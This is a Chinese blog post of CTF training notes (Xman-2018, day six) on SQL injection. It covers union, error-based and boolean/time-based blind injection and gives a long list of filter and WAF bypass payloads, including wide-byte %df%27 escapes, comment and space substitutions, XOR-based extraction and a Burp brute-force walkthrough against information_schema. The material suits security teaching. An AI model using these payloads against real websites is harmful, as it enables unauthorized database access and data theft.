CTF-web Xman-2018 第六天 sql注入

35 篇文章 28 订阅

对于新的题目,不能局限于自己以前的trik,这是一个误区。其实做题,主要还是看有什么功能,扫一下路径和信息,需要根据它具有的功能来测试可能有的漏洞。

每个恶意的payload都需要我们对测试进行观察,会有什么错误,为什么会这样。猜测后台代码是怎么写的。

还有一个需要防范的就是误导,一个题目很可能伪装成另外一个题目,而实际上却是另外的东西。

 

HTTP协议

对各个字段的理解,前面也有资料了。https://mp.csdn.net/mdeditor/82797208

        url后面?use=123#100 #表示的锚 ,跟服务端没关系 用来定位显示的标签或者行位置的 注入用%23代替# 否则被截断

        前面可以加账户密码 http://user@pws:127.0.0.1:8080/index.php,这种方式从来没有听说过,确实是一个很有意思的东西

        host 可以从全局变量中直接获取。

 

SQL注入

这个具体特也不多数,就说一些讲到的点,大多数的在前面的注入文章中都有

union 联合注入

有回显,直接union select很方便。列需要对齐,所以需要先猜列数。支持填充自己的结果,主查询得不到结果,子查询也可以得到结果

报错注入

虽然会报错,但语句被执行,会在错误的返回页面提供给我们查询的结果

盲注

页面被处理,不会显示具体的报错内容,但是依旧会可以得到是否正确,成功失败两个页面是不一样的。根据一点一段进行测试,比如数据库的名字的第一个字符是否大于多少小于多少

        (substring(database(),1,1))=“a”       

        也可以ascii(字符表达式)比较ascii   

        select * from users where user='xx' and pass>'123'

        也可以if(1,2,3) 第一个参数为表达式 正确返回2 错误返回3

        我们也可以通过延时函数自己判断 sleep(5),页面延时返回

绕过方式总结(详细)

1.1常用注释符:

 -- ,--+ ,/**/, #

1.2 大小写绕过

select * from sql_test where id = 3 uniON sEleCt  * from sql_test where id = 2;

1.3内联注释绕过

select * from sql_test where id = 3 union /*!select*/  * from sql_test where id like 2;

1.4双关键字绕过

?id=1+UNIunionON+SeLselectECT+1,2,3–

1.5 编码绕过

双重url编码,这个得遇到特殊题目可以这么做,后台可能代码如下:

$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();

  16进制绕过

   select * from sql_test where id = 3 union select  * from sql_test where username = 0x74657374;

    char绕过

  select  * from sql_test where username = char(116)+char(101)+char(115)+char(116);

1.6 空格绕过

用双空格/制表符代替尝试,用/**/当做空格,用括号包起来进行,用回车代替空格,反引号`的使用

select(id)from(sql_test)where(id=1);
select/**/id/**/from/**/sqp_test/**/where/**/id=1
url中%0a为回车 替换一下
mysql> select
    -> id
    -> from
    -> sql_test
    -> where
    -> id
    -> =
    -> 1
    -> ;
select   username        from    sql_test        where   id=1    ; # tab
select*from`sql_test`where`id`=1;  #反引号

1.7 等于号绕过

拦截了等于号,我们可以用like去代替:

select * from sql_test where username like 'admin';

1.8 逗号绕过

在使用盲注的时候,需要使用到substr(),mid(),limit;这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决,limit则可以用offset

' or ascii(mid(username from 1 for 1)='a' 

select * from sql_test limit 1 offset 1;

1.9 大于号小于号拦截绕过

在使用盲注的时候,在爆破的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp,in,between来进行绕过了,这些bool函数我们使用or and等逻辑判断进行爆破

or greatest(ascii(substr(username,1,1)),1)=97;
or   substr(username,1,1)  between 0x61 and 0x65

我们可以使用一些逻辑运算,&& || ^来判断数值 返回的也是bool

1.10 单引号绕过

 

宽字节注入 过滤单引号时,可以试试宽字节

    %bf%27 %df%27 %aa%27

%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

第二字段逃逸

name = 'admin\'   password= ' or(1)#'  //输入参数
sql = "select * from user where name = '' and password = '' "    //语句
结果如下:
sql = "select * from user where name='admin\' and password=' or(1)#'" 
                                          被注释           闭合  注释
最后的形式是 '语句1' or(1)--》语句2 不能使用'的规则被绕过  因为前后两个参数组合出来了完整的闭合

当一个sql语句,name和password是从一个变量中获取的,那么构造参数=/**/or(1)#\
username='/**/or(1)#\' or nickname='/**/or(1)#\'
or(1)#成功逃逸, 前面的自主闭合

%1$吞噬

单引号会被转义成\',使用%1$吃掉后面的斜杠,而不引起报错

 "select * from user where username = '%1$\' and 1=1#' and password='%s';";

双注释逃逸

当网站是使用转义进行过滤时,我们可以手动在加一个转义

username = 'as\\' or ascii(substr(database(),1,1))=='a'# '
              两次转义 ’逃逸了

1.11 常用连接语句符号

or,and,union,&&,||,^

这里尤其注意这些逻辑字符,可以用来绕过=<>等

前面的就不说了

ascii(substr(database(),1,1))^12

if(ascii(substr(database())^123,1,1),'qqq','www')

盲注语句 (%23,  --+,)表示注释

▲left(database(),1)>'s'             //left()函数

Explain:database()显示数据库名称,left(a,b)从左侧截取a的前b位

▲ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+       //substr()函数,ascii()函数

Explain:substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换为ascii值

▲ascii(substr((select database()),1,1))=98

▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23               //ORD()函数,MID()函数

Explain:mid(a,b,c)从位置b开始,截取a字符串的c位

Ord()函数同ascii(),将字符转为ascii值 

 

对于mysql数据库的schema的特殊查询方式,我们就不在多说,在sql注入小节中已经有详细的了

表名和库名可以通过特殊获取。我们在做注入的时候,需要仔细思考的是怎么杨绕过waf。尝试时,使用控制变量法,单独测试每个特殊的字符,就可以知道什么被墙了,然后才去相应的方法

 

数据类型转换利用

SELECT * FROM users where name='root' | 'a'#   类型转换后 0|0 字符串转数字变为0  name=0
• SELECT * FROM users where username='a'=0#    username!=0
• SELECT * FROM users where username=' '*' '#  相乘也是0

例题(简单的布尔盲注)

先是数据库长度 as' length(database())=1#
username=as%27+or+length%28database%28%29%29%3d§§%23&password=123
            ' 空 空       (          (  )  )  = 爆破字段             //Bp模式numbers 1-20-1 

猜解数据库名称 as' or ascii(substr(database(),1,1))=10#
username=as%27+or+ascii%28substr%28database%28%29%2C3%2C1%29%29%3D§10§%23&password=234
            ' 空 空     (         (          (  )  ,3 , 1  )  ) =  10    //同上 区间为1-177
也可以猜测字母更简直一下 as' or substr(database(),1,1)='§a§'#
获得了前三个字符为sql,最后一个可以这样
                      as' or left(database(),4)='sql§§'#
   得到sql1

到数据库之后,爆破表。然后就是使用group_concat concat 和limit函数逐条返回数据库中的表名 判断长度和字符

lengt(select * from sql1 limit 0,1)# 爆第一个字段的长度
substr((select * from sql1 limit 0,1),1,1)#  爆第一个字段的第一个字符

# mysql判断
length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=5#  
# 获取第一个表名字的长度

# (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100#  
# 返回第一条表名,判断第一位的ascii =limit 1,1 控制猜测的表 substr(,1,1)控制猜测的字符位置


例如爆出来表名users,继续获取字段 可以先获取长度
(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>123#

大师傅第二题

过滤了空格,我们可以使用/**/绕过

 

大师傅第三题

过滤了<>=等,还加了很多的墙,没有过滤异或^ 。使用if语句

?code=if((select(mid(database(),1,1))),name,price) #可以判断是否有查询结果,但是没有确定的返回值

#我们返现^没有被过滤,使用异或 对每个字符单个的判断
if((select(mid(database(),1,1))^xxxxxx),name,price)   #如果完全一致就可以返回
# 匹配和不匹配返回的不一样

关于最后的这两个方法我想在多说两句,有些sql注入的题目存在诸多的限制,通过hex函数将返回的数值进行16进行编码,然后使用^与特定的16进行运算,这种操作也是前不久才接触到。可以记作一个点吧,但是注意字符串的截取和恢复,因为有时可能无法一次获得所有数据,我们就需要将截断之后再hex编码,有些时候甚至要求更严格,我们需要进行两次hex编码,得到的数值我们需要逆推得到原来数据,这个地方要细心。

 

参考文章有的写得很棒

https://www.cnblogs.com/drkang/p/8644399.html

http://www.cnblogs.com/Vinson404/p/7253255.html

https://blog.csdn.net/whatday/article/details/61912578

https://www.cnblogs.com/vincy99/p/9642882.html

https://www.jb51.net/article/109114.htm

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值